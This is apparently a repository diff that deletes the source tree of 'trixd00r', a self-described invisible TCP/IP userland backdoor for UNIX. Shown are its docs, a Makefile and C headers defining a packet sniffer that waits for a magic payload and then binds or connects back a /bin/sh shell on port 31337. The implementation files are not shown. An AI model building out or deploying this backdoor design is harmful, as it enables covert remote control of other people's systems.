versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.
Later license versions may give you additional or different
permissions. However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.
15. Disclaimer of Warranty.
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. Limitation of Liability.
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.
17. Interpretation of Sections 15 and 16.
If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
<one line to give the program's name and a brief idea of what it does.>
Copyright (C) <year> <name of author>
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
Also add information on how to contact you by electronic and paper mail.
If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:
<program> Copyright (C) <year> <name of author>
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".
You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
<http://www.gnu.org/licenses/>.
The GNU General Public License does not permit incorporating your program
into proprietary programs. If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License. But first, please read
<http://www.gnu.org/philosophy/why-not-lgpl.html>.
backdoor/trixd00r/source/docs/DESCR
-6
View File
@@ -1,6 +0,0 @@
trixd00r is an advanced and invisible userland backdoor based on TCP/IP for UNIX
systems. It consists of a server and a client. The server sits and waits for
magic packets using a sniffer. If a magic packet arrives, it will bind a shell
over TCP or UDP on the given port or connecting back to the client again over
TCP or UDP. The client is used to send magic packets to trigger the server and
get a shell.
backdoor/trixd00r/source/docs/INSTALL
-1
View File
@@ -1 +0,0 @@
Type make and follow the instructions.
backdoor/trixd00r/source/docs/README
-13
View File
@@ -1,13 +0,0 @@
NOTES:
* I hereby emphasize that trixd00r is for education purposes only. I do not take
any responsibility for any abuse or misuse!
* For install instructions, read the INSTALL file. For usage instruction, refer
to the '-h' option.
* Before asking me for features, you should take a quick look into doc/TODO
list, please. :)
cheers,
noptrix
backdoor/trixd00r/source/docs/TESTED
-11
View File
@@ -1,11 +0,0 @@
===> 0.0.1
* debian 6.0 (2.6.32) - libpcap 0.8
* gentoo 3.2.5 - libpcap 1.2.1
* gentoo 3.1.5 - libpcap 1.2.0
* gentoo 3.0.6 - libpcap 1.1.1
* freebsd 8.2 - libpcap 1.0.0
* netbsd 5.1 - libpcap 0.9.4
* openbsd 4.9 - libpcap 0.x
* openbsd 5.0 - libpcap 0.x
* SunOS 5.11 - libpcap 1.0.0
* Mac OS X 10.7.3 - libpcap 1.1.1
backdoor/trixd00r/source/docs/THANKS
-5
View File
@@ -1,5 +0,0 @@
* my wife and my son supporting me during our hard life (SIRUM EM CES!)
* nullsecurity
* prdelka
* disque
* and to all my friends
backdoor/trixd00r/source/docs/TODO
-21
View File
@@ -1,21 +0,0 @@
changelog and todo list for trixd00r (public version)
=====================================================
===> 0.0.3
* add shell communication over ICMP (rawsockets) ........................ []
* add option for 'sending shell commands to server' ..................... []
* refactor and clean up the whole code .................................. []
===> 0.0.2
* option for 'sequence of packets' to trigger backdoor .................. []
* add delay option ...................................................... []
* add timeout option .................................................... []
* client: fix udp listen mode (bugfix) .................................. []
* client: do not connect after byebye packet (bugfix) ................... []
* add option for listen address/host .................................... []
* add ICMP support (magic packet) ....................................... []
* add full tty/pty support .............................................. []
===> 0.0.1
* initial release ................................................... [DONE]
backdoor/trixd00r/source/server/Makefile
-62
View File
@@ -1,62 +0,0 @@
################################################################################
# ____ _ __ #
# ___ __ __/ / /__ ___ ______ ______(_) /___ __ #
# / _ \/ // / / (_-</ -_) __/ // / __/ / __/ // / #
# /_//_/\_,_/_/_/___/\__/\__/\_,_/_/ /_/\__/\_, / #
# /___/ nullsecurity team #
# #
# trixd00r - Advanced and invisible TCP/IP based userland backdoor #
# #
# FILE #
# server/Makefile #
# #
# DATE #
# 02/10/2012 #
# #
# DESCRIPTION #
# trixd00r is an advanced and invisible userland backdoor based on TCP/IP for #
# UNIX systems. It consists of a server and a client. The Server sits and #
# waits for magic packets using a sniffer (pcap). If a magic packet arrives, #
# it will bind a shell over TCP or UDP on the given port or connecting back to #
# the client again over TCP or UDP. The client is used to send magic packets #
# to trigger the server and get a shell. #
# #
# COPYRIGHT #
# Read docs/COPYING. #
# #
# AUTHOR #
# noptrix - http://www.nullsecurity.net/ #
# #
################################################################################
.EXPORT_ALL_VARIABLES:
@echo "[-] ERROR: you need GNU make!"
CC = gcc
RM = rm -rf
MV = mv
STRIP = strip
INSTDIR = /usr/local/bin
INCDIR = server/inc
SRCDIR = server/src
CFLAGS = -W -Wall -Wextra -O2 -pedantic -I $(INCDIR)
OBJS = $(SRCDIR)/trixd00rd.o $(SRCDIR)/help.o $(SRCDIR)/error.o \
$(SRCDIR)/checks.o $(SRCDIR)/controller.o $(SRCDIR)/sniffer.o \
$(SRCDIR)/wrapper.o $(SRCDIR)/daemon.o $(SRCDIR)/shell.o \
$(SRCDIR)/signals.o
$(SRCDIR)%.o: %.c
$(CC) -c -o $@ $< $(CFLAGS)
trixd00rd: $(OBJS)
$(CC) -o $@ $^ $(CFLAGS) $(LDFLAGS)
$(STRIP) trixd00rd
clean:
$(RM) trixd00rd $(SRCDIR)/*.o *.o *.core core
# EOF
backdoor/trixd00r/source/server/inc/checks.h
-76
View File
@@ -1,76 +0,0 @@
/*******************************************************************************
* ____ _ __ *
* ___ __ __/ / /__ ___ ______ ______(_) /___ __ *
* / _ \/ // / / (_-</ -_) __/ // / __/ / __/ // / *
* /_//_/\_,_/_/_/___/\__/\__/\_,_/_/ /_/\__/\_, / *
* /___/ nullsecurity team *
* *
* trixd00r - Advanced and invisible TCP/IP based userland backdoor *
* *
* FILE *
* server/inc/checks.h *
* *
* DATE *
* 02/10/2012 *
* *
* DESCRIPTION *
* trixd00r is an advanced and invisible userland backdoor based on TCP/IP for *
* UNIX systems. It consists of a server and a client. The server sits and *
* waits for magic packets using a sniffer. If a magic packet arrives, it will *
* bind a shell over TCP or UDP on the given port or connecting back to the *
* client again over TCP or UDP. The client is used to send magic packets to *
* trigger the server and get a shell. *
* *
* COPYRIGHT *
* Read docs/COPYING. *
* *
* AUTHOR *
* noptrix - http://www.nullsecurity.net/ *
* *
******************************************************************************/
#ifndef __CHECKS_H__
#define __CHECKS_H__
#include "controller.h"
#define MAX_PORT 65535
/* checks for valid packet type */
void check_pkt_type(ctrl_t *, char *);
/* checks for valid shell mode */
void check_shell_mode(ctrl_t *, char *);
/* checks for valid host */
void check_host(const char *);
/* checks for valid port number */
void check_port(ctrl_t *, int);
/* checks for uid 0 */
void check_uid(ctrl_t *);
/* checks for packet size */
void check_pkt_size(ctrl_t *, int);
/* check first usage */
void check_argc(int);
/* checks, if necessary arguments has been selected */
void check_args(ctrl_t *);
#endif
/* EOF */
backdoor/trixd00r/source/server/inc/controller.h
-74
View File
@@ -1,74 +0,0 @@
/*******************************************************************************
* ____ _ __ *
* ___ __ __/ / /__ ___ ______ ______(_) /___ __ *
* / _ \/ // / / (_-</ -_) __/ // / __/ / __/ // / *
* /_//_/\_,_/_/_/___/\__/\__/\_,_/_/ /_/\__/\_, / *
* /___/ nullsecurity team *
* *
* trixd00r - Advanced and invisible TCP/IP based userland backdoor *
* *
* FILE *
* server/inc/controller.h *
* *
* DATE *
* 02/10/2012 *
* *
* DESCRIPTION *
* trixd00r is an advanced and invisible userland backdoor based on TCP/IP for *
* UNIX systems. It consists of a server and a client. The server sits and *
* waits for magic packets using a sniffer. If a magic packet arrives, it will *
* bind a shell over TCP or UDP on the given port or connecting back to the *
* client again over TCP or UDP. The client is used to send magic packets to *
* trigger the server and get a shell. *
* *
* COPYRIGHT *
* Read docs/COPYING. *
* *
* AUTHOR *
* noptrix - http://www.nullsecurity.net/ *
* *
******************************************************************************/
#ifndef __CONTROLLER_H__
#define __CONTROLLER_H__
#include "trixd00rd.h"
#include "sniffer.h"
/* some boolean options */
#define DAEMON 1 /* daemonize trixd00rd */
#define BANNER_ON 1 /* send welcome and bye banner */
#define BANNER_OFF 0 /* do not send welcome and byb banner */
#define SSL 1 /* use ssl */
#define VERBOSE 1 /* verbose mode */
#define QUIET 0 /* quiet mode */
/* free used memory for trixd00rd */
void free_trixd00rd(ctrl_t *);
/* ignore or handle some signals */
void install_signals();
/* allocate buffer for each struct and fill in with zeros */
ctrl_t *alloc_structs();
/* set default values for ctrl_t */
ctrl_t *set_ctrl_defaults(ctrl_t *);
/* begin of trixd00rd */
void start_trixd00rd(ctrl_t *);
/* end of trixd00rd */
void end_trixd00rd(ctrl_t *);
#endif
/* EOF */
backdoor/trixd00r/source/server/inc/daemon.h
-49
View File
@@ -1,49 +0,0 @@
/*******************************************************************************
* ____ _ __ *
* ___ __ __/ / /__ ___ ______ ______(_) /___ __ *
* / _ \/ // / / (_-</ -_) __/ // / __/ / __/ // / *
* /_//_/\_,_/_/_/___/\__/\__/\_,_/_/ /_/\__/\_, / *
* /___/ nullsecurity team *
* *
* trixd00r - Advanced and invisible TCP/IP based userland backdoor *
* *
* FILE *
* server/inc/daemon.h *
* *
* DATE *
* 02/10/2012 *
* *
* DESCRIPTION *
* trixd00r is an advanced and invisible userland backdoor based on TCP/IP for *
* UNIX systems. It consists of a server and a client. The server sits and *
* waits for magic packets using a sniffer. If a magic packet arrives, it will *
* bind a shell over TCP or UDP on the given port or connecting back to the *
* client again over TCP or UDP. The client is used to send magic packets to *
* trigger the server and get a shell. *
* *
* COPYRIGHT *
* Read docs/COPYING. *
* *
* AUTHOR *
* noptrix - http://www.nullsecurity.net/ *
* *
******************************************************************************/
#ifndef __DAEMON_H__
#define __DAEMON_H__
#include "trixd00rd.h"
/* max file descriptors for daemonize() */
#define MAXFD 64
/* daemonize trixd00rd and put in background */
void daemonize();
#endif
/* EOF */
backdoor/trixd00r/source/server/inc/error.h
-87
View File
@@ -1,87 +0,0 @@
/*******************************************************************************
* ____ _ __ *
* ___ __ __/ / /__ ___ ______ ______(_) /___ __ *
* / _ \/ // / / (_-</ -_) __/ // / __/ / __/ // / *
* /_//_/\_,_/_/_/___/\__/\__/\_,_/_/ /_/\__/\_, / *
* /___/ nullsecurity team *
* *
* trixd00r - Advanced and invisible TCP/IP based userland backdoor *
* *
* FILE *
* server/inc/error.h *
* *
* DATE *
* 02/10/2012 *
* *
* DESCRIPTION *
* trixd00r is an advanced and invisible userland backdoor based on TCP/IP for *
* UNIX systems. It consists of a server and a client. The server sits and *
* waits for magic packets using a sniffer. If a magic packet arrives, it will *
* bind a shell over TCP or UDP on the given port or connecting back to the *
* client again over TCP or UDP. The client is used to send magic packets to *
* trigger the server and get a shell. *
* *
* COPYRIGHT *
* Read docs/COPYING. *
* *
* AUTHOR *
* noptrix - http://www.nullsecurity.net/ *
* *
******************************************************************************/
#ifndef __ERROR_H__
#define __ERROR_H__
#include "trixd00rd.h"
/* beginning of error messages */
#define ERROR "[-] ERROR"
#define WARNING "[-] WARNING"
/* fatal error messages */
#define ERR_MSG_GEN ERROR
#define ERR_MSG_PCAP_LOOKUPNET ERROR ":"RED" can't get netmask for device"NORM
#define ERR_MSG_PCAP_OPEN ERROR ":"RED" could not open device"NORM
#define ERR_MSG_PKT_TYPE ERROR ":"RED" invalid packet type"NORM
#define ERR_MSG_SHELL_MODE ERROR ":"RED" invalid shell mode"NORM
#define ERR_MSG_HOST ERROR ":"RED" invalid host"NORM
#define ERR_MSG_IP ERROR ":"RED" invalid ip address"NORM
#define ERR_MSG_PORT ERROR ":"RED" invalid port number"NORM
#define ERR_MSG_ARGC ERROR ":"RED" use -H for usage and help"NORM
#define ERR_MSG_ARGS ERROR ":"RED" you fucked up, mount /dev/brain"NORM
#define ERR_MSG_FILE ERROR ":"RED" can not open file"NORM
#define ERR_MSG_UID ERROR ":"RED" you must be root"NORM
#define ERR_MSG_PKT_SIZE ERROR ":"RED" packet size larger than 65535"NORM
#define ERR_MSG_NET ERROR
#define ERR_MSG_CLOSE ERROR
/* call error function */
#define __CALL_ERROR_FUNC(code) error[code].fptr(error[code].msg);
/* our own error codes */
enum {
ERR_GEN = 0, ERR_PCAP_LOOKUPNET, ERR_PCAP_OPEN, ERR_PKT_TYPE,
ERR_SHELL_MODE, ERR_HOST, ERR_IP, ERR_PORT, ERR_ARGC, ERR_ARGS, ERR_FILE,
ERR_UID, ERR_PKT_SIZE, ERR_NET, ERR_CLOSE
};
/* error handling */
typedef struct {
unsigned char code; /* relevant error code */
const char *msg; /* relevant error message */
void (*fptr)(const char *); /* ptr to error-functions */
} error_t;
void print_error(unsigned char);
#endif
/* EOF */
backdoor/trixd00r/source/server/inc/help.h
-43
View File
@@ -1,43 +0,0 @@
/*******************************************************************************
* ____ _ __ *
* ___ __ __/ / /__ ___ ______ ______(_) /___ __ *
* / _ \/ // / / (_-</ -_) __/ // / __/ / __/ // / *
* /_//_/\_,_/_/_/___/\__/\__/\_,_/_/ /_/\__/\_, / *
* /___/ nullsecurity team *
* *
* trixd00r - Advanced and invisible TCP/IP based userland backdoor *
* *
* FILE *
* server/inc/help.h *
* *
* DATE *
* 02/10/2012 *
* *
* DESCRIPTION *
* trixd00r is an advanced and invisible userland backdoor based on TCP/IP for *
* UNIX systems. It consists of a server and a client. The server sits and *
* waits for magic packets using a sniffer. If a magic packet arrives, it will *
* bind a shell over TCP or UDP on the given port or connecting back to the *
* client again over TCP or UDP. The client is used to send magic packets to *
* trigger the server and get a shell. *
* *
* COPYRIGHT *
* Read docs/COPYING. *
* *
* AUTHOR *
* noptrix - http://www.nullsecurity.net/ *
* *
******************************************************************************/
#ifndef __HELP_H__
#define __HELP_H__
/* not clear? just write me an email... */
void banner();
void usage();
#endif
/* EOF */
backdoor/trixd00r/source/server/inc/shell.h
-111
View File
@@ -1,111 +0,0 @@
/*******************************************************************************
* ____ _ __ *
* ___ __ __/ / /__ ___ ______ ______(_) /___ __ *
* / _ \/ // / / (_-</ -_) __/ // / __/ / __/ // / *
* /_//_/\_,_/_/_/___/\__/\__/\_,_/_/ /_/\__/\_, / *
* /___/ nullsecurity team *
* *
* trixd00r - Advanced and invisible TCP/IP based userland backdoor *
* *
* FILE *
* server/inc/shell.h *
* *
* DATE *
* 02/10/2012 *
* *
* DESCRIPTION *
* trixd00r is an advanced and invisible userland backdoor based on TCP/IP for *
* UNIX systems. It consists of a server and a client. The server sits and *
* waits for magic packets using a sniffer. If a magic packet arrives, it will *
* bind a shell over TCP or UDP on the given port or connecting back to the *
* client again over TCP or UDP. The client is used to send magic packets to *
* trigger the server and get a shell. *
* *
* COPYRIGHT *
* Read docs/COPYING. *
* *
* AUTHOR *
* noptrix - http://www.nullsecurity.net/ *
* *
******************************************************************************/
#ifndef __SHELL_H__
#define __SHELL_H__
#include "trixd00rd.h"
#include "sniffer.h"
#include <netinet/in.h>
/* welcome banner */
#define BAN_WELCOME1 "\
@@@@@@@ @@@@@@@ @@@ @@@ @@@ @@@@@@@ @@@@@@@@ @@@@@@@@ @@@@@@@\n\
@@@@@@@ @@@@@@@@ @@@ @@@ @@@ @@@@@@@@ @@@@@@@@@@ @@@@@@@@@@ @@@@@@@@\n\
@@! @@! @@@ @@! @@! !@@ @@! @@@ @@! @@@@ @@! @@@@ @@! @@@\n\
!@! !@! @!@ !@! !@! @!! !@! @!@ !@! @!@!@ !@! @!@!@ !@! @!@\n\
@!! @!@!!@! !!@ !@@!@! @!@ !@! @!@ @! !@! @!@ @! !@! @!@!!@!\n\
!!! !!@!@! !!! @!!! !@! !!! !@!!! !!! !@!!! !!! !!@!@!\n"
#define BAN_WELCOME2 "\
!!: !!: :!! !!: !: :!! !!: !!! !!:! !!! !!:! !!! !!: :!!\n\
:!: :!: !:! :!: :!: !:! :!: !:! :!: !:! :!: !:! :!: !:!\n\
:: :: ::: :: :: ::: :::: :: ::::::: :: ::::::: :: :: :::\n\
: : : : : : :: :: : : : : : : : : : : : : :\n\n\
..:: w3lc0m3 h4x0r (0r m4yb3 ju5t 4 5cr1pt k1ddy?) ::..\n\
--\n\
3nj0y y0ur sh3ll\n"
/* bye bye banner */
#define BAN_BYE "h4v3 a n1c3 d4y..."
/* banner types */
#define _BAN_WELCOME 0
#define _BAN_BYE 1
/* default values */
#define DEF_MODE _TCP_BIND_PORT /* shell mode */
#define DEF_PORT 31337 /* port for shell */
/* socket buffer for read() / write() */
#define SOCKBUF 4096
/* available shell modes (description) */
#define TCP_BIND_PORT "TCP bind port"
#define TCP_CONN_BACK "TCP connect back"
#define UDP_BIND_PORT "UDP bind port"
#define UDP_CONN_BACK "UDP connect back"
/* shell */
#define SHELL "/bin/sh"
/* shell modes */
enum {
_TCP_BIND_PORT = 0, _TCP_CONN_BACK, _UDP_BIND_PORT, _UDP_CONN_BACK,
_NUM_SHELL_MODES
};
/* print available shell modes */
void print_shell_modes();
/* either connect back or bind port and send shell */
void open_shell(ctrl_t *);
/* send welcome or bye banner to the client */
void send_banner(shell_t *, unsigned char);
#define __SEND_BANNER(type) \
if (shell->banner) { send_banner(shell, type); }
#endif
/* EOF */
backdoor/trixd00r/source/server/inc/signals.h
-61
View File
@@ -1,61 +0,0 @@
/*******************************************************************************
* ____ _ __ *
* ___ __ __/ / /__ ___ ______ ______(_) /___ __ *
* / _ \/ // / / (_-</ -_) __/ // / __/ / __/ // / *
* /_//_/\_,_/_/_/___/\__/\__/\_,_/_/ /_/\__/\_, / *
* /___/ nullsecurity team *
* *
* trixd00r - Advanced and invisible TCP/IP based userland backdoor *
* *
* FILE *
* server/inc/signals.h *
* *
* DATE *
* 02/10/2012 *
* *
* DESCRIPTION *
* trixd00r is an advanced and invisible userland backdoor based on TCP/IP for *
* UNIX systems. It consists of a server and a client. The server sits and *
* waits for magic packets using a sniffer. If a magic packet arrives, it will *
* bind a shell over TCP or UDP on the given port or connecting back to the *
* client again over TCP or UDP. The client is used to send magic packets to *
* trigger the server and get a shell. *
* *
* COPYRIGHT *
* Read docs/COPYING. *
* *
* AUTHOR *
* noptrix - http://www.nullsecurity.net/ *
* *
******************************************************************************/
#ifndef __SIGNALS_H__
#define __SIGNALS_H__
#include <signal.h>
/* foo */
typedef void sigfunc(int);
/* signal handler */
sigfunc *xsignal(int, sigfunc *);
/* we don't want to have zombies :) */
void sig_chld();
/* connect timeout */
void connect_alarm();
/* cleanup for SIGINT/SIGTERM */
void cleanup();
#endif
/* EOF */
backdoor/trixd00r/source/server/inc/sniffer.h
-222
View File
@@ -1,222 +0,0 @@
/*******************************************************************************
* ____ _ __ *
* ___ __ __/ / /__ ___ ______ ______(_) /___ __ *
* / _ \/ // / / (_-</ -_) __/ // / __/ / __/ // / *
* /_//_/\_,_/_/_/___/\__/\__/\_,_/_/ /_/\__/\_, / *
* /___/ nullsecurity team *
* *
* trixd00r - Advanced and invisible TCP/IP based userland backdoor *
* *
* FILE *
* server/inc/sniffer.h *
* *
* DATE *
* 02/10/2012 *
* *
* DESCRIPTION *
* trixd00r is an advanced and invisible userland backdoor based on TCP/IP for *
* UNIX systems. It consists of a server and a client. The server sits and *
* waits for magic packets using a sniffer. If a magic packet arrives, it will *
* bind a shell over TCP or UDP on the given port or connecting back to the *
* client again over TCP or UDP. The client is used to send magic packets to *
* trigger the server and get a shell. *
* *
* COPYRIGHT *
* Read docs/COPYING. *
* *
* AUTHOR *
* noptrix - http://www.nullsecurity.net/ *
* *
******************************************************************************/
#ifndef __SNIFFER_H__
#define __SNIFFER_H__
#define _BSD_SOURCE 1 /* bsd style api */
#define __FAVOR_BSD 1
#include <pcap.h>
#include <netinet/in.h>
/* default values */
#define DEF_HOST "ANY" /* default allowed host */
#define DEF_TYPE _TCP_SYN_TYPE /* packet/protocol type */
#define DEF_PAYLOAD "opensesame" /* magic payload */
#define DEF_BYE_PAYLOAD "byebye" /* magic BYE payload */
#define DEF_PORT 31337 /* port for shell */
/* ethernet related */
#define ETHER_ADDR_LEN 6 /* ethernet address length */
#define SIZE_ETHERNET 14 /* ethernet header size always 14 bytes */
/* ip related */
#define IP_RF 0x8000 /* reserved fragment flag */
#define IP_DF 0x4000 /* dont fragment flag */
#define IP_MF 0x2000 /* more fragments flag */
#define IP_OFFMASK 0x1fff /* mask for fragmenting bits */
#define IP_HL(ip) (((ip)->ip_vhl) & 0x0f)
#define IP_V(ip) (((ip)->ip_vhl) >> 4)
/* tcp related */
#define TH_FIN 0x01 /* TCP FIN flag */
#define TH_SYN 0x02 /* TCP SYN flag */
#define TH_RST 0x04 /* TCP RST flag */
#define TH_PUSH 0x08 /* TCP PUSH flag */
#define TH_ACK 0x10 /* TCP ACK flag */
#define TH_URG 0x20 /* TCP URG flag */
#define TH_ECE 0x40 /* TCP ECE flag */
#define TH_CWR 0x80 /* TCP CWR flag */
#define TH_FLAGS (TH_FIN|TH_SYN|TH_RST|TH_ACK|TH_URG|TH_ECE|TH_CWR)
#define TH_OFF(th) (((th)->th_offx2 & 0xf0) >> 4)
/* packet type descriptions */
#define TCP_SYN_TYPE "TCP SYN packet"
#define TCP_ACK_TYPE "TCP ACK packet"
#define TCP_RST_TYPE "TCP RST packet"
#define TCP_PSH_TYPE "TCP PSH packet"
#define TCP_URG_TYPE "TCP URG packet"
#define TCP_FIN_TYPE "TCP FIN packet"
#define UDP_TYPE "UDP datagram"
#define ICMP_ECHO_TYPE "ICMP echo"
/* supported protocol names */
#define _TCP_PROT "tcp"
#define _UDP_PROT "udp"
#define _ICMP_PROT "icmp"
/* is it our magic packet or not? */
#define IS_NOT_MAGIC_PACKET 0
#define IS_MAGIC_PACKET 1
#define IS_BYEBYE_PACKET 2
/* ethernet header */
typedef struct {
unsigned char dhost[ETHER_ADDR_LEN]; /* Destination host address */
unsigned char shost[ETHER_ADDR_LEN]; /* Source host address */
unsigned short type; /* IP? ARP? RARP? etc */
} ether_t;
/* ip header */
typedef struct {
unsigned char ip_vhl; /* version << 4 | header length >> 2 */
unsigned char ip_tos; /* type of service */
unsigned short ip_len; /* total length */
unsigned short ip_id; /* identification */
unsigned short ip_off; /* fragment offset field */
unsigned char ip_ttl; /* time to live */
unsigned char ip_p; /* protocol */
unsigned short ip_sum; /* checksum */
struct in_addr src, dst; /* source and dest address */
} ip_t;
/* tcp header */
typedef struct {
unsigned short th_sport; /* source port */
unsigned short th_dport; /* destination port */
unsigned int th_seq; /* sequence number */
unsigned int th_ack; /* acknowledgement number */
unsigned char th_offx2; /* data offset, rsvd */
unsigned char th_flags; /* tcp flags */
unsigned short th_win; /* window */
unsigned short th_sum; /* checksum */
unsigned short th_urp; /* urgent pointer */
} tcp_t;
/* udp header */
typedef struct {
uint16_t uh_sport; /* source port */
uint16_t uh_dport; /* destination port */
uint16_t uh_ulen; /* udp length */
uint16_t uh_sum; /* udp checksum */
} udp_t;
/* sniffer related data */
typedef struct {
pcap_t *handle; /* pcap handler */
const char *iface; /* interface to use */
bpf_u_int32 mask; /* netmask of device */
bpf_u_int32 net; /* ipaddr of device */
} sniffer_t;
/* packet related data */
typedef struct {
const ether_t *ether; /* sniffed ethernet header */
const ip_t *ip; /* sniffed ip header */
const tcp_t *tcp; /* sniffed tcp header */
const udp_t *udp; /* sniffed udp header */
const unsigned char *bytes; /* pcap packet bytes, len etc. */
unsigned char type; /* magic packet type */
char *m_payload; /* magic payload */
char *b_payload; /* magic BYE payload */
char *s_payload; /* sniffed payload */
unsigned int size_ip; /* size of ip header */
unsigned int size_tcp; /* size of tcp header */
unsigned int size_udp; /* size of udp header */
char src_host[16]; /* address of source host */
char dst_host[16]; /* address of destination host */
char *allowed_host; /* allowed host to talk to trixd00rd */
} packet_t;
/* shell related data */
typedef struct {
unsigned char banner; /* send banner or not ? */
unsigned char mode; /* shell mode */
const char *descr; /* short description */
const char *host; /* host to connect back */
uint16_t port; /* port to bind or connect back */
int lfd; /* listen socket */
int cfd; /* connected socket */
struct sockaddr_in srv; /* server address */
struct sockaddr_in cli; /* client address */
pid_t pid; /* parent/child proccess id */
} shell_t;
/* controller's working template */
typedef struct {
sniffer_t *sniffer; /* see sniffer.h */
packet_t *packet; /* see sniffer.h */
shell_t *shell; /* see shell.h */
unsigned char daemon; /* daemonize or not */
unsigned char ssl; /* use ssl encryption */
unsigned char verbose; /* verbosity */
} ctrl_t;
enum {
_TCP_SYN_TYPE = 0, _TCP_ACK_TYPE, _TCP_RST_TYPE, _TCP_PSH_TYPE,
_TCP_URG_TYPE, _TCP_FIN_TYPE, _UDP_TYPE, _NUM_PKT_TYPES
};
/* print available packet types */
void print_packet_types();
/* sniff magic packet */
unsigned char watch_packet(ctrl_t *);
/* prepare sniffer, all pcap needed stuff */
void prepare_sniffer(ctrl_t *);
#endif
/* EOF */
backdoor/trixd00r/source/server/inc/trixd00rd.h
-64
View File
@@ -1,64 +0,0 @@
/*******************************************************************************
* ____ _ __ *
* ___ __ __/ / /__ ___ ______ ______(_) /___ __ *
* / _ \/ // / / (_-</ -_) __/ // / __/ / __/ // / *
* /_//_/\_,_/_/_/___/\__/\__/\_,_/_/ /_/\__/\_, / *
* /___/ nullsecurity team *
* *
* trixd00r - Advanced and invisible TCP/IP based userland backdoor *
* *
* FILE *
* server/inc/trixd00rd.h *
* *
* DATE *
* 02/10/2012 *
* *
* DESCRIPTION *
* trixd00r is an advanced and invisible userland backdoor based on TCP/IP for *
* UNIX systems. It consists of a server and a client. The server sits and *
* waits for magic packets using a sniffer. If a magic packet arrives, it will *
* bind a shell over TCP or UDP on the given port or connecting back to the *
* client again over TCP or UDP. The client is used to send magic packets to *
* trigger the server and get a shell. *
* *
* COPYRIGHT *
* Read docs/COPYING. *
* *
* AUTHOR *
* noptrix - http://www.nullsecurity.net/ *
* *
******************************************************************************/
#ifndef __TRIXD00RD_H__
#define __TRIXD00RD_H__
/* some header files we often need */
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <string.h>
#include <unistd.h>
/* misc global macros */
#define VERSION "trixd00rd v0.0.1"
#define ATOI(str) strtol(str, (char **) NULL, 10)
/* exit() */
#define __EXIT_SUCCESS exit(EXIT_SUCCESS)
#define __EXIT_FAILURE exit(EXIT_FAILURE)
/* leet color codes */
#define BLUE "\033[94m"
#define RED "\033[91m"
#define GREEN "\033[92m"
#define YELLOW "\033[93m"
#define NORM "\033[0m"
#endif
/* EOF */
backdoor/trixd00r/source/server/inc/verbose.h
-80
View File
@@ -1,80 +0,0 @@
/*******************************************************************************
* ____ _ __ *
* ___ __ __/ / /__ ___ ______ ______(_) /___ __ *
* / _ \/ // / / (_-</ -_) __/ // / __/ / __/ // / *
* /_//_/\_,_/_/_/___/\__/\__/\_,_/_/ /_/\__/\_, / *
* /___/ nullsecurity team *
* *
* trixd00r - Advanced and invisible TCP/IP based userland backdoor *
* *
* FILE *
* server/inc/verbose.h *
* *
* DATE *
* 02/10/2012 *
* *
* DESCRIPTION *
* trixd00r is an advanced and invisible userland backdoor based on TCP/IP for *
* UNIX systems. It consists of a server and a client. The server sits and *
* waits for magic packets using a sniffer. If a magic packet arrives, it will *
* bind a shell over TCP or UDP on the given port or connecting back to the *
* client again over TCP or UDP. The client is used to send magic packets to *
* trigger the server and get a shell. *
* *
* COPYRIGHT *
* Read docs/COPYING. *
* *
* AUTHOR *
* noptrix - http://www.nullsecurity.net/ *
* *
******************************************************************************/
